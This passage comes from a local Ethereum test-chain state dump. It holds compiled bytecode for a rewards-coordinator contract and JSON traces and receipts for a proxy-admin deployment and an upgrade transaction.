81b608482015260a40161089e565b606554604080516001600160a01b03928316815291831660208301527f6e9fcd539896fca60e8b0f01dd580233e48a6b0f7df013b89ba7f565869acdb6910160405180910390a1606580546001600160a01b0319166001600160a01b0392909216919091179055565b6000611c948280613781565b905011611cf9576040805162461bcd60e51b815260206004820152602481019190915260008051602061394d83398151915260448201527f7264735375626d697373696f6e3a206e6f207374726174656769657320736574606482015260840161089e565b6000816040013511611d6b5760405162461bcd60e51b8152602060048201526041602482015260008051602061394d83398151915260448201527f7264735375626d697373696f6e3a20616d6f756e742063616e6e6f74206265206064820152600360fc1b608482015260a40161089e565b6f4b3b4ca85a86c47a098a223fffffffff81604001351115611de35760405162461bcd60e51b815260206004820152603f602482015260008051602061394d83398151915260448201527f7264735375626d697373696f6e3a20616d6f756e7420746f6f206c6172676500606482015260840161089e565b63ffffffff7f000000000000000000000000000000000000000000000000000000000000000016611e1a60a08301608084016132e5565b63ffffffff161115611e9f5760405162461bcd60e51b8152602060048201526054602482015260008051602061394d83398151915260448201527f7264735375626d697373696f6e3a206475726174696f6e20657863656564732060648201527326a0ac2fa922aba0a92229afa22aa920aa24a7a760611b608482015260a40161089e565b7f0000000000000000000000000000000000000000000000000000000000000000611ed060a08301608084016132e5565b611eda919061384c565b63ffffffff1615611f7a5760405162461bcd60e51b815260206004820152606a602482015260008051602061394d83398151915260448201527f7264735375626d697373696f6e3a206475726174696f6e206d7573742062652060648201527f61206d756c7469706c65206f662043414c43554c4154494f4e5f494e54455256608482015269414c5f5345434f4e445360b01b60a482015260c40161089e565b7f0000000000000000000000000000000000000000000000000000000000000000611fab60808301606084016132e5565b611fb5919061384c565b63ffffffff161561205b5760405162461bcd60e51b8152602060048201526070602482015260008051602061394d83398151915260448201527f7264735375626d697373696f6e3a20737461727454696d657374616d70206d7560648201527f73742062652061206d756c7469706c65206f662043414c43554c4154494f4e5f60848201526f494e54455256414c5f5345434f4e445360801b60a482015260c40161089e565b61206b60808201606083016132e5565b63ffffffff167f000000000000000000000000000000000000000000000000000000000000000063ffffffff16426120a391906137cb565b111580156120ec57506120bc60808201606083016132e5565b63ffffffff167f000000000000000000000000000000000000000000000000000000000000000063ffffffff1611155b6121665760405162461bcd60e51b8152602060048201526051602482015260008051602061394d83398151915260448201527f7264735375626d697373696f6e3a20737461727454696d657374616d7020746f6064820152701bc819985c881a5b881d1a19481c185cdd607a1b608482015260a40161089e565b61219663ffffffff7f0000000000000000000000000000000000000000000000000000000000000000164261370a565b6121a660808301606084016132e5565b63ffffffff16111561222a5760405162461bcd60e51b8152602060048201526053602482015260008051602061394d83398151915260448201527f7264735375626d697373696f6e3a20737461727454696d657374616d7020746f6064820152726f2066617220696e207468652066757475726560681b608482015260a40161089e565b6000805b6122388380613781565b905081101561245357600061224d8480613781565b8381811061225d5761225d613569565b61227392602060409092020190810191506130f0565b60405163198f077960e21b81526001600160a01b0380831660048301529192507f00000000000000000000000000000000000000000000000000000000000000009091169063663c1de490602401602060405180830381865afa1580156122de573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906123029190613496565b8061232957506001600160a01b03811673beac0eeeeeeeeeeeeeeeeeeeeeeeeeeeeeebeac0145b61239c5760405162461bcd60e51b815260206004820152604a602482015260008051602061394d83398151915260448201527f7264735375626d697373696f6e3a20696e76616c69642073747261746567792060648201526918dbdb9cda59195c995960b21b608482015260a40161089e565b806001600160a01b0316836001600160a01b0316106124495760405162461bcd60e51b8152602060048201526069602482015260008051602061394d83398151915260448201527f7264735375626d697373696f6e3a2073747261746567696573206d757374206260648201527f6520696e20617363656e64696e67206f7264657220746f2068616e646c65206460848201526875706c69636174657360b81b60a482015260c40161089e565b915060010161222e565b505050565b6040516001600160a01b03808516602483015283166044820152606481018290526124c39085906323b872dd60e01b906084015b60408051601f198184030181529190526020810180516001600160e01b03166001600160e01b031990931692909217909152612aa5565b50505050565b806040015163ffffffff164210156125425760405162461bcd60e51b815260206004820152603660248201527f52657761726473436f6f7264696e61746f722e5f636865636b436c61696d3a206044820152751c9bdbdd081b9bdd081858dd1a5d985d1959081e595d60521b606482015260840161089e565b61254f60c0830183613730565b905061255e60a0840184613730565b9050146125e85760405162461bcd60e51b815260206004820152604c60248201527f52657761726473436f6f7264696e61746f722e5f636865636b436c61696d3a2060448201527f746f6b656e496e646963657320616e6420746f6b656e50726f6f6673206c656e60648201526b0cee8d040dad2e6dac2e8c6d60a31b608482015260a40161089e565b6125f560e0830183613781565b905061260460c0840184613730565b90501461268c5760405162461bcd60e51b815260206004820152604a60248201527f52657761726473436f6f7264696e61746f722e5f636865636b436c61696d3a2060448201527f746f6b656e5472656550726f6f667320616e64206c6561766573206c656e67746064820152690d040dad2e6dac2e8c6d60b31b608482015260a40161089e565b80516126b8906126a260408501602086016132e5565b6126af6040860186613874565b86606001612b77565b60005b6126c860a0840184613730565b90508110156124535761276260808401356126e660a0860186613730565b848181106126f6576126f6613569565b905060200201602081019061270b91906132e5565b61271860c0870187613730565b8581811061272857612728613569565b905060200281019061273a9190613874565b61274760e0890189613781565b8781811061275757612757613569565b905060400201612ceb565b6001016126bb565b6040516001600160a01b03831660248201526044810182905261245390849063a9059cbb60e01b9060640161248c565b60cb546040805163ffffffff600160a01b9093048316815291831660208301527faf557c6c02c208794817a705609cfa935f827312a1adfdd26494b6b95dd2b4b3910160405180910390a160cb805463ffffffff909216600160a01b0263ffffffff60a01b19909216919091179055565b603380546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b60cb546040516001600160a01b038084169216907f237b82f438d75fc568ebab484b75b01d9287b9e98b490b7c23221623b6705dbb90600090a360cb80546001600160a01b0319166001600160a01b0392909216919091179055565b604080518082018252600a81526922b4b3b2b72630bcb2b960b11b60209182015281517f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a866818301527f71b625cfad44bac63b13dba07f2e1d6084ee04b6f8752101ece6126d584ee6ea81840152466060820152306080808301919091528351808303909101815260a0909101909252815191012090565b6065546001600160a01b031615801561297157506001600160a01b03821615155b6129f35760405162461bcd60e51b815260206004820152604760248201527f5061757361626c652e5f696e697469616c697a655061757365723a205f696e6960448201527f7469616c697a6550617573657228292063616e206f6e6c792062652063616c6c6064820152666564206f6e636560c81b608482015260a40161089e565b606681905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a2612a3682611b91565b5050565b60cb546040805161ffff600160e01b9093048316815291831660208301527f8cdc428b0431b82d1619763f443a48197db344ba96905f3949643acd1c863a06910160405180910390a160cb805461ffff909216600160e01b0261ffff60e01b19909216919091179055565b6000612afa826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b0316612e3c9092919063ffffffff16565b8051909150156124535780806020019051810190612b189190613496565b6124535760405162461bcd60e51b815260206004820152602a60248201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e6044820152691bdd081cdd58d8d9595960b21b606482015260840161089e565b612b826020836138bb565b6001901b8463ffffffff1610612c0c5760405162461bcd60e51b815260206004820152604360248201527f52657761726473436f6f7264696e61746f722e5f7665726966794561726e657260448201527f436c61696d50726f6f663a20696e76616c6964206561726e65724c656166496e6064820152620c8caf60eb1b608482015260a40161089e565b6000612c17826109f2565b9050612c6284848080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152508a92508591505063ffffffff8916612e53565b612ce35760405162461bcd60e51b815260206004820152604660248201527f52657761726473436f6f7264696e61746f722e5f7665726966794561726e657260448201527f436c61696d50726f6f663a20696e76616c6964206561726e657220636c61696d60648201526510383937b7b360d11b608482015260a40161089e565b505050505050565b612cf66020836138bb565b6001901b8463ffffffff1610612d745760405162461bcd60e51b815260206004820152603c60248201527f52657761726473436f6f7264696e61746f722e5f766572696679546f6b656e4360448201527f6c61696d3a20696e76616c696420746f6b656e4c656166496e64657800000000606482015260840161089e565b6000612d7f82611858565b9050612dca84848080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152508a92508591505063ffffffff8916612e53565b612ce35760405162461bcd60e51b815260206004820152603f60248201527f52657761726473436f6f7264696e61746f722e5f766572696679546f6b656e4360448201527f6c61696d3a20696e76616c696420746f6b656e20636c61696d2070726f6f6600606482015260840161089e565b6060612e4b8484600085612e6b565b949350505050565b600083612e61868585612f9c565b1495945050505050565b606082471015612ecc5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a20696e73756666696369656e742062616c616e636520666f6044820152651c8818d85b1b60d21b606482015260840161089e565b6001600160a01b0385163b612f235760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374000000604482015260640161089e565b600080866001600160a01b03168587604051612f3f91906138f3565b60006040518083038185875af1925050503d8060008114612f7c576040519150601f19603f3d011682016040523d82523d6000602084013e612f81565b606091505b5091509150612f918282866130a2565b979650505050505050565b600060208451612fac9190613905565b156130335760405162461bcd60e51b815260206004820152604b60248201527f4d65726b6c652e70726f63657373496e636c7573696f6e50726f6f664b65636360448201527f616b3a2070726f6f66206c656e6774682073686f756c642062652061206d756c60648201526a3a34b836329037b310199960a91b608482015260a40161089e565b8260205b855181116130995761304a600285613905565b60000361306e57816000528086015160205260406000209150600284049350613087565b8086015160005281602052604060002091506002840493505b61309260208261370a565b9050613037565b50949350505050565b606083156130b157508161171d565b8251156130c15782518084602001fd5b8160405162461bcd60e51b815260040161089e9190613919565b6001600160a01b03811681146108b057600080fd5b60006020828403121561310257600080fd5b813561171d816130db565b80151581146108b057600080fd5b6000806040838503121561312e57600080fd5b8235613139816130db565b915060208301356131498161310d565b809150509250929050565b60006020828403121561316657600080fd5b5035919050565b60006040828403121561317f57600080fd5b50919050565b60006040828403121561319757600080fd5b61171d838361316d565b600080604083850312156131b457600080fd5b82356131bf816130db565b91506020830135613149816130db565b600080602083850312156131e257600080fd5b823567ffffffffffffffff8111156131f957600080fd5b8301601f8101851361320a57600080fd5b803567ffffffffffffffff81111561322157600080fd5b8560208260051b840101111561323657600080fd5b6020919091019590945092505050565b6000610100828403121561317f57600080fd5b6000806040838503121561326c57600080fd5b823567ffffffffffffffff81111561328357600080fd5b61328f85828601613246565b9250506020830135613149816130db565b803563ffffffff811681146132b457600080fd5b919050565b600080604083850312156132cc57600080fd5b823591506132dc602084016132a0565b90509250929050565b6000602082840312156132f757600080fd5b61171d826132a0565b60006020828403121561331257600080fd5b813560ff8116811461171d57600080fd5b60006020828403121561333557600080fd5b813567ffffffffffffffff81111561334c57600080fd5b612e4b84828501613246565b6000806040838503121561336b57600080fd5b8235613376816130db565b946020939093013593505050565b80356132b4816130db565b803561ffff811681146132b457600080fd5b60008060008060008060c087890312156133ba57600080fd5b86356133c5816130db565b955060208701356133d5816130db565b94506040870135935060608701356133ec816130db565b92506133fa608088016132a0565b915061340860a0880161338f565b90509295509295509295565b60006020828403121561342657600080fd5b61171d8261338f565b60006020828403121561344157600080fd5b815161171d816130db565b6020808252602a908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526939903ab73830bab9b2b960b11b606082015260800190565b6000602082840312156134a857600080fd5b815161171d8161310d565b60208082526028908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526739903830bab9b2b960c11b606082015260800190565b60208082526019908201527f5061757361626c653a20696e6465782069732070617573656400000000000000604082015260600190565b6020808252601f908201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c00604082015260600190565b634e487b7160e01b600052603260045260246000fd5b60008235609e1983360301811261359557600080fd5b9190910192915050565b81835260208301925060008160005b848110156136055781356135c1816130db565b6001600160a01b0316865260208201356bffffffffffffffffffffffff81168082146135ec57600080fd5b60208801525060409586019591909101906001016135ae565b5093949350505050565b60008135601e1983360301811261362557600080fd5b820160208101903567ffffffffffffffff81111561364257600080fd5b8060061b360382131561365457600080fd5b60a0855261366660a08601828461359f565b91505061367560208401613384565b6001600160a01b0316602085015260408381013590850152613699606084016132a0565b63ffffffff1660608501526136b0608084016132a0565b63ffffffff81166080860152509392505050565b60018060a01b03841681528260208201526060604082015260006136eb606083018461360f565b95945050505050565b634e487b7160e01b600052601160045260246000fd5b80820180821115610a7757610a776136f4565b60208152600061171d602083018461360f565b6000808335601e1984360301811261374757600080fd5b83018035915067ffffffffffffffff82111561376257600080fd5b6020019150600581901b360382131561377a57600080fd5b9250929050565b6000808335601e1984360301811261379857600080fd5b83018035915067ffffffffffffffff8211156137b357600080fd5b6020019150600681901b360382131561377a57600080fd5b81810381811115610a7757610a776136f4565b63ffffffff8181168382160190811115610a7757610a776136f4565b63ffffffff8281168282160390811115610a7757610a776136f4565b600063ffffffff82168061382c5761382c6136f4565b6000190192915050565b634e487b7160e01b600052601260045260246000fd5b600063ffffffff83168061386257613862613836565b8063ffffffff84160691505092915050565b6000808335601e1984360301811261388b57600080fd5b83018035915067ffffffffffffffff8211156138a657600080fd5b60200191503681900382131561377a57600080fd5b6000826138ca576138ca613836565b500490565b60005b838110156138ea5781810151838201526020016138d2565b50506000910152565b600082516135958184602087016138cf565b60008261391457613914613836565b500690565b60208152600082518060208401526139388160408501602087016138cf565b601f01601f1916919091016040019291505056fe52657761726473436f6f7264696e61746f722e5f76616c696461746552657761a2646970667358221220817e7c73564266312bb51c837933bb59af47a68ee6c566d48ffce124f608594c64736f6c634300081c0033000000000000000000000000cf7ed3acca5a467e9e704c703e8d87f634fb0fc9000000000000000000000000dc64a140aa3e981100a9beca4e685f962f0cf6c90000000000000000000000000000000000000000000000000000000000093a8000000000000000000000000000000000000000000000000000000000005c4900000000000000000000000000000000000000000000000000000000000076a7000000000000000000000000000000000000000000000000000000000000278d000000000000000000000000000000000000000000000000000000000065fb7880","r":"0xaba09ad8d807a1a5ed2fca163747f8010be808c88c6716e66cfe09ea679ea54e","s":"0x4f8621b53e9baba36487faed424ae2321db5ae55e6731bd4d19b5d5c0a11d62b","yParity":"0x1","hash":"0xd62db15427e349b85ca91b824b5c628a89f55da618540ebbe26ccfb1233cf85c"}},"impersonated_sender":null}],"ommers":[]}],"transactions":[{"info":{"transaction_hash":"0xb6a38a3d8da1705b9b28d965f44c38bad15f54d84fdaf02eac16b102176b150c","transaction_index":0,"from":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","to":"0x5fbdb2315678afecb367f032d93f642f64180aa3","contract_address":null,"traces":[{"parent":null,"children":[1],"idx":0,"trace":{"depth":0,"success":true,"caller":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","address":"0x5fbdb2315678afecb367f032d93f642f64180aa3","maybe_precompile":null,"selfdestruct_address":null,"selfdestruct_refund_target":null,"selfdestruct_transferred_value":null,"kind":"CALL","value":"0x0","data":"0x9623609d000000000000000000000000cf7ed3acca5a467e9e704c703e8d87f634fb0fc9000000000000000000000000a51c1fc2f0d1a1b8494ed1fe312d7c3a78ed91c00000000000000000000000000000000000000000000000000000000000000060000000000000000000000000000000000000000000000000000000000000010422bf40e4000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f05120000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000a00000000000000000000000000000000000000000000000000000000000000c000000000000000000000000000000000000000000000000000000000000000e00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000","output":"0x","gas_used":142336,"gas_limit":205678,"status":"Stop","steps":[],"decoded":{"label":null,"return_data":null,"call_data":null}},"logs":[],"ordering":[{"Call":0}]},{"parent":0,"children":[2],"idx":1,"trace":{"depth":1,"success":true,"caller":"0x5fbdb2315678afecb367f032d93f642f64180aa3","address":"0xcf7ed3acca5a467e9e704c703e8d87f634fb0fc9","maybe_precompile":null,"selfdestruct_address":null,"selfdestruct_refund_target":null,"selfdestruct_transferred_value":null,"kind":"CALL","value":"0x0","data":"0x4f1ef286000000000000000000000000a51c1fc2f0d1a1b8494ed1fe312d7c3a78ed91c00000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000010422bf40e4000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f05120000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000a00000000000000000000000000000000000000000000000000000000000000c000000000000000000000000000000000000000000000000000000000000000e00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000","output":"0x","gas_used":135625,"gas_limit":195906,"status":"Stop","steps":[],"decoded":{"label":null,"return_data":null,"call_data":null}},"logs":[{"raw_log":{"topics":["0xbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b","0x000000000000000000000000a51c1fc2f0d1a1b8494ed1fe312d7c3a78ed91c0"],"data":"0x"},"decoded":{"name":null,"params":null},"position":0}],"ordering":[{"Log":0},{"Call":0}]},{"parent":1,"children":[],"idx":2,"trace":{"depth":2,"success":true,"caller":"0xcf7ed3acca5a467e9e704c703e8d87f634fb0fc9","address":"0xa51c1fc2f0d1a1b8494ed1fe312d7c3a78ed91c0","maybe_precompile":null,"selfdestruct_address":null,"selfdestruct_refund_target":null,"selfdestruct_transferred_value":null,"kind":"DELEGATECALL","value":"0x0","data":"0x22bf40e4000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f05120000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000a00000000000000000000000000000000000000000000000000000000000000c000000000000000000000000000000000000000000000000000000000000000e000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000","output":"0x","gas_used":122355,"gas_limit":179999,"status":"Stop","steps":[],"decoded":{"label":null,"return_data":null,"call_data":null}},"logs":[{"raw_log":{"topics":["0xab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d","0x0000000000000000000000005fbdb2315678afecb367f032d93f642f64180aa3"],"data":"0x0000000000000000000000000000000000000000000000000000000000000000"},"decoded":{"name":null,"params":null},"position":0},{"raw_log":{"topics":["0x6e9fcd539896fca60e8b0f01dd580233e48a6b0f7df013b89ba7f565869acdb6"],"data":"0x0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f0512"},"decoded":{"name":null,"params":null},"position":0},{"raw_log":{"topics":["0x8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0","0x0000000000000000000000000000000000000000000000000000000000000000","0x000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266"],"data":"0x"},"decoded":{"name":null,"params":null},"position":0},{"raw_log":{"topics":["0xafa003cd76f87ff9d62b35beea889920f33c0c42b8d45b74954d61d50f4b6b69"],"data":"0x0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000a"},"decoded":{"name":null,"params":null},"position":0},{"raw_log":{"topics":["0x7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb3847402498"],"data":"0x0000000000000000000000000000000000000000000000000000000000000001"},"decoded":{"name":null,"params":null},"position":0}],"ordering":[{"Log":0},{"Log":1},{"Log":2},{"Log":3},{"Log":4}]}],"exit":"Stop","out":"0x","nonce":19,"gas_used":166144},"receipt":{"type":"0x2","status":"0x1","cumulativeGasUsed":"0x28900","logs":[{"address":"0xcf7ed3acca5a467e9e704c703e8d87f634fb0fc9","topics":["0xbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b","0x000000000000000000000000a51c1fc2f0d1a1b8494ed1fe312d7c3a78ed91c0"],"data":"0x"},{"address":"0xcf7ed3acca5a467e9e704c703e8d87f634fb0fc9","topics":["0xab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d","0x0000000000000000000000005fbdb2315678afecb367f032d93f642f64180aa3"],"data":"0x0000000000000000000000000000000000000000000000000000000000000000"},{"address":"0xcf7ed3acca5a467e9e704c703e8d87f634fb0fc9","topics":["0x6e9fcd539896fca60e8b0f01dd580233e48a6b0f7df013b89ba7f565869acdb6"],"data":"0x0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f0512"},{"address":"0xcf7ed3acca5a467e9e704c703e8d87f634fb0fc9","topics":["0x8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0","0x0000000000000000000000000000000000000000000000000000000000000000","0x000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266"],"data":"0x"},{"address":"0xcf7ed3acca5a467e9e704c703e8d87f634fb0fc9","topics":["0xafa003cd76f87ff9d62b35beea889920f33c0c42b8d45b74954d61d50f4b6b69"],"data":"0x0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000a"},{"address":"0xcf7ed3acca5a467e9e704c703e8d87f634fb0fc9","topics":["0x7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb3847402498"],"data":"0x0000000000000000000000000000000000000000000000000000000000000001"}],"logsBloom":"0x00000000000000000000000040000000400000000000000000c00000000000000000000000000000000000000000080000000000000000100000000000000001000000000000000000000400000002000001000000000000000000000000000000000000020000000000000100800800000004000000000000040000000000400000000108000000000000000000000000000000000080000000000000000000000000000000040000000002000400000000000000000000000000000000000000002020400000200000000000040000000000002008000000000000000020000000000000000000000000000000000000000000000000000000002000400000"},"block_hash":"0x25351ea5ebb8f497a108031724791a9778be719cee871ae3168f014ac6ea87e3","block_number":12},{"info":{"transaction_hash":"0x51e3b6ec5dce1003f9129d8ba4e6e8efe484f2334549a0618ce1c15d7e357f5f","transaction_index":0,"from":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","to":null,"contract_address":"0x5fbdb2315678afecb367f032d93f642f64180aa3","traces":[{"parent":null,"children":[],"idx":0,"trace":{"depth":0,"success":true,"caller":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","address":"0x5fbdb2315678afecb367f032d93f642f64180aa3","maybe_precompile":false,"selfdestruct_address":null,"selfdestruct_refund_target":null,"selfdestruct_transferred_value":null,"kind":"CREATE","value":"0x0","data":"0x6080604052348015600f57600080fd5b50601733601b565b606b565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b61069a8061007a6000396000f3fe60806040526004361061007b5760003560e01c80639623609d1161004e5780639623609d1461011157806399a88ec414610124578063f2fde38b14610144578063f3b7dead1461016457600080fd5b8063204e1c7a14610080578063715018a6146100bc5780637eff275e146100d35780638da5cb5b146100f3575b600080fd5b34801561008c57600080fd5b506100a061009b366004610499565b610184565b6040516001600160a01b03909116815260200160405180910390f35b3480156100c857600080fd5b506100d1610215565b005b3480156100df57600080fd5b506100d16100ee3660046104bd565b610229565b3480156100ff57600080fd5b506000546001600160a01b03166100a0565b6100d161011f36600461050c565b610291565b34801561013057600080fd5b506100d161013f3660046104bd565b610300565b34801561015057600080fd5b506100d161015f366004610499565b610336565b34801561017057600080fd5b506100a061017f366004610499565b6103b4565b6000806000836001600160a01b03166040516101aa90635c60da1b60e01b815260040190565b600060405180830381855afa9150503d80600081146101e5576040519150601f19603f3d011682016040523d82523d6000602084013e6101ea565b606091505b5091509150816101f957600080fd5b8080602001905181019061020d91906105ea565b949350505050565b61021d6103da565b6102276000610434565b565b6102316103da565b6040516308f2839760e41b81526001600160a01b038281166004830152831690638f283970906024015b600060405180830381600087803b15801561027557600080fd5b505af1158015610289573d6000803e3d6000fd5b505050505050565b6102996103da565b60405163278f794360e11b81526001600160a01b03841690634f1ef2869034906102c99086908690600401610607565b6000604051808303818588803b1580156102e257600080fd5b505af11580156102f6573d6000803e3d6000fd5b5050505050505050565b6103086103da565b604051631b2ce7f360e11b81526001600160a01b038281166004830152831690633659cfe69060240161025b565b61033e6103da565b6001600160a01b0381166103a85760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084015b60405180910390fd5b6103b181610434565b50565b6000806000836001600160a01b03166040516101aa906303e1469160e61b815260040190565b6000546001600160a01b031633146102275760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161039f565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b03811681146103b157600080fd5b6000602082840312156104ab57600080fd5b81356104b681610484565b9392505050565b600080604083850312156104d057600080fd5b82356104db81610484565b915060208301356104eb81610484565b809150509250929050565b634e487b7160e01b600052604160045260246000fd5b60008060006060848603121561052157600080fd5b833561052c81610484565b9250602084013561053c81610484565b9150604084013567ffffffffffffffff81111561055857600080fd5b8401601f8101861361056957600080fd5b803567ffffffffffffffff811115610583576105836104f6565b604051601f8201601f19908116603f0116810167ffffffffffffffff811182821017156105b2576105b26104f6565b6040528181528282016020018810156105ca57600080fd5b816020840160208301376000602083830101528093505050509250925092565b6000602082840312156105fc57600080fd5b81516104b681610484565b60018060a01b0383168152604060208201526000825180604084015260005b818110156106435760208186018101516060868401015201610626565b506000606082850101526060601f19601f830116840101915050939250505056fea26469706673582212202a25c113a0c89ae9cdec45156ac7a705552559358051c68fc6aad769f491533264736f6c634300081c0033","output":"0x60806040526004361061007b5760003560e01c80639623609d1161004e5780639623609d1461011157806399a88ec414610124578063f2fde38b14610144578063f3b7dead1461016457600080fd5b8063204e1c7a14610080578063715018a6146100bc5780637eff275e146100d35780638da5cb5b146100f3575b600080fd5b34801561008c57600080fd5b506100a061009b366004610499565b610184565b6040516001600160a01b03909116815260200160405180910390f35b3480156100c857600080fd5b506100d1610215565b005b3480156100df57600080fd5b506100d16100ee3660046104bd565b610229565b3480156100ff57600080fd5b506000546001600160a01b03166100a0565b6100d161011f36600461050c565b610291565b34801561013057600080fd5b506100d161013f3660046104bd565b610300565b34801561015057600080fd5b506100d161015f366004610499565b610336565b34801561017057600080fd5b506100a061017f366004610499565b6103b4565b6000806000836001600160a01b03166040516101aa90635c60da1b60e01b815260040190565b600060405180830381855afa9150503d80600081146101e5576040519150601f19603f3d011682016040523d82523d6000602084013e6101ea565b606091505b5091509150816101f957600080fd5b8080602001905181019061020d91906105ea565b949350505050565b61021d6103da565b6102276000610434565b565b6102316103da565b6040516308f2839760e41b81526001600160a01b038281166004830152831690638f283970906024015b600060405180830381600087803b15801561027557600080fd5b505af1158015610289573d6000803e3d6000fd5b505050505050565b6102996103da565b60405163278f794360e11b81526001600160a01b03841690634f1ef2869034906102c99086908690600401610607565b6000604051808303818588803b1580156102e257600080fd5b505af11580156102f6573d6000803e3d6000fd5b5050505050505050565b6103086103da565b604051631b2ce7f360e11b81526001600160a01b038281166004830152831690633659cfe69060240161025b565b61033e6103da565b6001600160a01b0381166103a85760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084015b60405180910390fd5b6103b181610434565b50565b6000806000836001600160a01b03166040516101aa906303e1469160e61b815260040190565b6000546001600160a01b031633146102275760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161039f565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b03811681146103b157600080fd5b6000602082840312156104ab57600080fd5b81356104b681610484565b9392505050565b600080604083850312156104d057600080fd5b82356104db81610484565b915060208301356104eb81610484565b809150509250929050565b634e487b7160e01b600052604160045260246000fd5b60008060006060848603121561052157600080fd5b833561052c81610484565b9250602084013561053c81610484565b9150604084013567ffffffffffffffff81111561055857600080fd5b8401601f8101861361056957600080fd5b803567ffffffffffffffff811115610583576105836104f6565b604051601f8201601f19908116603f0116810167ffffffffffffffff811182821017156105b2576105b26104f6565b6040528181528282016020018810156105ca57600080fd5b816020840160208301376000602083830101528093505050509250925092565b6000602082840312156105fc57600080fd5b81516104b681610484565b60018060a01b0383168152604060208201526000825180604084015260005b818110156106435760208186018101516060868401015201610626565b506000606082850101526060601f19601f830116840101915050939250505056fea26469706673582212202a25c113a0c89ae9cdec45156ac7a705552559358051c68fc6aad769f491533264736f6c634300081c0033","gas_used":362115,"gas_limit":494948,"status":"Return","steps":[],"decoded":{"label":null,"return_data":null,"call_data":null}},"logs":[{"raw_log":{"topics":["0x8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0","0x0000000000000000000000000000000000000000000000000000000000000000","0x000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266"],"data":"0x"},"decoded":{"name":null,"params":null},"position":0}],"ordering":[{"Log":0}]}],"exit":"Return","out":"0x60806040526004361061007b5760003560e01c80639623609d1161004e5780639623609d1461011157806399a88ec414610124578063f2fde38b14610144578063f3b7dead1461016457600080fd5b8063204e1c7a14610080578063715018a6146100bc5780637eff275e146100d35780638da5cb5b146100f3575b600080fd5b34801561008c57600080fd5b506100a061009b366004610499565b610184565b6040516001600160a01b03909116815260200160405180910390f35b3480156100c857600080fd5b506100d1610215565b005b3480156100df57600080fd5b506100d16100ee3660046104bd565b610229565b3480156100ff57600080fd5b506000546001600160a01b03166100a0565b6100d161011f36600461050c565b610291565b34801561013057600080fd5b506100d161013f3660046104bd565b610300565b34801561015057600080fd5b506100d161015f366004610499565b610336565b34801561